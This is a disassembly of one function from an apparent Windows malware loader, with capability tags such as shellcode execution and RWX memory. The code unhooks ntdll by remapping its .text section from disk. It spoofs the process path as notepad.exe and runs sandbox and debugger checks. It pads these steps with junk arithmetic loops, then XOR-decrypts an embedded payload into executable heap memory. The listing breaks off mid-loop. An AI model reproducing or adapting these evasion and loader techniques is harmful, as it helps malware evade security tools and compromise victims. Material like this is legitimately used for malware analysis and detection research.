Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x918
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x880], xmm6
mov dword [rbp + 0x8c0], ecx
mov qword [rbp + 0x8c8], rdx
call fcn.140002d00
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0x878], 1
jmp 0x140001586
mov dword [rbp + 0x87c], 0
mov eax, dword [rbp + 0x878]
mov dword [rbp + 0x874], eax
jmp 0x14000155c
mov edx, dword [rbp + 0x874]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x648], edx
mov eax, dword [rbp + 0x648]
imul eax, eax
imul eax, dword [rbp + 0x648]
add dword [rbp + 0x87c], eax
mov eax, dword [rbp + 0x874]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x874], eax
cmp dword [rbp + 0x874], 0
jne 0x1400014f1
mov eax, dword [rbp + 0x87c]
cmp eax, dword [rbp + 0x878]
jne 0x14000157f
mov eax, dword [rbp + 0x878]
mov dword [rbp + 0x64c], eax
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x281
jle 0x1400014d9
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x868], rax
mov dword [rbp + 0x864], 0xffffffff
add dword [rbp + 0x864], 1
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x7d4], eax
mov ecx, dword [rbp + 0x7d4]
mov eax, ecx
add eax, eax
add eax, ecx
lea ecx, [rax*8]
add eax, ecx
sub edx, eax
mov dword [rbp + 0x7d4], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006620]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x7d4]
movq xmm0, rax
call fcn.140003e50
movq rax, xmm0
mov qword [rbp + 0x7c8], rax
cmp dword [rbp + 0x864], 0x2c6
jle 0x1400015d0
cmp qword [rbp + 0x868], 0
jne 0x14000169d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
je 0x140001c49
mov ecx, 0x20f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c0], rax
mov ecx, 0x20f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov ecx, 0x20f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x860], 0
jmp 0x1400017d1
mov dword [rbp + 0x85c], 0
jmp 0x1400017bd
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x860]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x7c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x85c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x860]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x7b8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x85c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x43
jle 0x1400016fc
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0x1e
jle 0x1400016ed
mov dword [rbp + 0x860], 0
jmp 0x1400018ae
mov dword [rbp + 0x85c], 0
jmp 0x14000189a
mov eax, dword [rbp + 0x860]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x7c0]
add rdx, rax
mov eax, dword [rbp + 0x85c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x860]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x7b8]
add rdx, rax
mov eax, dword [rbp + 0x85c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x860]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x7b0]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x85c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x43
jle 0x1400017fc
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0x1e
jle 0x1400017ed
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
mov rax, qword [rbp + 0x7d8]
mov r10, qword [rbp + 0x868]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x7a8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x7a8]
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov qword [rbp + 0x780], rax
mov word [rbp + 0x85a], 0
jmp 0x140001c31
mov rax, qword [rbp + 0x780]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x780]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x85a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001c20
mov dword [rbp + 0x5f8], 0
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x790]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov ecx, 0x858
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x854], 0
jmp 0x140001b65
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006620]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x770]
add rax, rdx
movsd xmm1, qword [0x140006628]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x10a
jle 0x140001b17
mov dword [rbp + 0x854], 0
jmp 0x140001bcf
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x770]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x854]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x770]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x10a
jle 0x140001b7d
mov edx, dword [rbp + 0x5f8]
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x85a]
add eax, 1
mov word [rbp + 0x85a], ax
mov rax, qword [rbp + 0x780]
movzx eax, word [rax + 6]
cmp word [rbp + 0x85a], ax
jb 0x140001a14
mov dword [rbp + 0x5fc], 0
mov rax, qword [rbp + 0x7e8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov qword [rbp + 0x848], 0
mov dword [rbp + 0x764], 0x172
mov dword [rbp + 0x850], 1
jmp 0x140001cab
mov eax, dword [rbp + 0x850]
cdqe
add qword [rbp + 0x848], rax
add dword [rbp + 0x850], 1
mov eax, dword [rbp + 0x850]
cmp eax, dword [rbp + 0x764]
jle 0x140001c95
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x5fc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x768]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x608]
add rax, 0x3c
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x758]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
je 0x140001d7e
mov rax, qword [rbp + 0x750]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov ecx, 0
call rax
mov dword [rbp + 0x844], eax
cmp dword [rbp + 0x844], 0xffffffff
je 0x140002c38
mov qword [rbp + 0x740], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x738]
mov r9d, 0x3000
mov r8d, 0x388
mov edx, 0
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140002c38
mov qword [rbp + 0x838], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x140001e9e
mov rax, qword [rbp + 0x730]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x728]
mov r9d, 0x3000
mov r8d, 0x3d5
mov edx, 0
call rax
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
je 0x140002c38
mov qword [rbp + 0x830], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140001f39
mov rax, qword [rbp + 0x720]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x718]
mov r9d, 0x3000
mov r8d, 0x365
mov edx, 0
call rax
mov qword [rbp + 0x830], rax
cmp qword [rbp + 0x830], 0
je 0x140002c38
mov dword [rbp + 0x5f4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5f4]
mov r8, qword [rbp + 0x710]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5f4]
cmp eax, 1
je 0x140002c38
mov qword [rbp + 0x708], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x700]
mov r9d, 0x3000
mov r8d, 0x36e
mov edx, 0
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
je 0x140002c38
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
jne 0x140002c38
mov ecx, 0x6eb
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x6eb
jne 0x140002c38
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x140002c38
mov rax, qword [rbp + 0x6f0]
mov edx, 0x5cc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6ec], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
je 0x140002144
mov rax, qword [rbp + 0x6e0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov ecx, 0
call rax
mov dword [rbp + 0x82c], eax
cmp dword [rbp + 0x82c], 0xffffffff
je 0x140002c38
lea rax, [rbp + 0xf0]
lea rdx, [0x140006128]
mov ecx, 0x9e
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov ecx, 0x3d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov dword [rbp + 0x824], 0
mov dword [rbp + 0x820], 0
mov dword [rbp + 0x828], 0
jmp 0x140002202
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x828]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0xf3
jle 0x1400021b6
mov dword [rbp + 0x828], 0
jmp 0x140002243
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x824], eax
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0xf3
jle 0x14000221a
mov dword [rbp + 0x828], 0
jmp 0x1400022cb
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x820]
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x650]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140006630]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003fc0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x820], eax
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0xf3
jle 0x14000225b
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x820]
movss xmm1, dword [0x140006638]
divss xmm0, xmm1
movss dword [rbp + 0x6cc], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x6cc]
movq rax, xmm4
movq xmm0, rax
call fcn.140003d10
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6c8], xmm0
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6c0]
mov r8d, 0
mov edx, 0x4f5
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov r9, qword [rbp + 0x6b8]
mov r8d, 0x4f5
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x6a8]
mov r9, qword [rbp + 0x6a0]
mov r8d, 0x4f5
mov rcx, rax
call r9
mov dword [rbp + 0x81c], 0
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x814], 0
movabs rax, 0x512145ba5efc22f2
movabs rdx, 0xc462eebcc1ebbd2a
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xcc54fd0c2f9816a2
movabs rdx, 0x63e959d754969603
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x6b548db89693a2cd
movabs rdx, 0xeb6bf702956b236a
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x9859c00b38f7dbc0
movabs rdx, 0xbbb1ab455ad7988f
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xfa192fde5cf9bb
mov qword [rbp - 1], rax
movabs rax, 0x6a6df2a2213e6bd1
movabs rdx, 0xf7794ca64764751
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x326accfa4036f7e8
movabs rdx, 0x9bc9633704a0aae4
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xe21765657a76ed19
movabs rdx, 0x15d02c0c941512ce
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x290f22d38711a545
movabs rdx, 0x68c6013c05e1c8ac
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xa20a1fd10ba4b4aa
movabs rdx, 0x1e11135e1417abc9
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xb24ad107f0a2d63b
movabs rdx, 0x6e8b78917b4bbeaa
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xf40a20bc6e8b7891
movabs rdx, 0x908d706732101c
mov qword [rbp + 0xdc], rax
mov qword [rbp + 0xe4], rdx
jmp 0x140002a6a
mov ecx, 0xe04
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov ecx, 0xe04
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x80c], 0x380
mov dword [rbp + 0x810], 0
jmp 0x14000264e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x680]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x678]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x80c], 1
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x380
jle 0x1400025c1
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x81c]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x818]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x81c]
cdqe
mov byte [rbp + rax + 0x10], dl
mov ecx, 0xdc8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov ecx, 0xdc8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov ecx, 0xdc8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov dword [rbp + 0x808], 0
jmp 0x1400027cd
mov dword [rbp + 0x804], 0
jmp 0x1400027b9
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x808]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x670]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x804]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x808]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x668]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x804]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0xd
jle 0x1400026f8
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x3e
jle 0x1400026e9
mov dword [rbp + 0x808], 0
jmp 0x1400028aa
mov dword [rbp + 0x804], 0
jmp 0x140002896
mov eax, dword [rbp + 0x808]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x670]
add rdx, rax
mov eax, dword [rbp + 0x804]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x808]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x668]
add rdx, rax
mov eax, dword [rbp + 0x804]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x808]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x660]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x804]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0xd
jle 0x1400027f8
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x3e
jle 0x1400027e9
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x818], 0x45
jne 0x140002a5c
mov ecx, 0x1110
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x800], 0
mov dword [rbp + 0x654], 1
mov dword [rbp + 0x7fc], 0
jmp 0x1400029a6
mov dword [rbp + 0x7f8], 0
jmp 0x140002996
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7fc]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x658]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
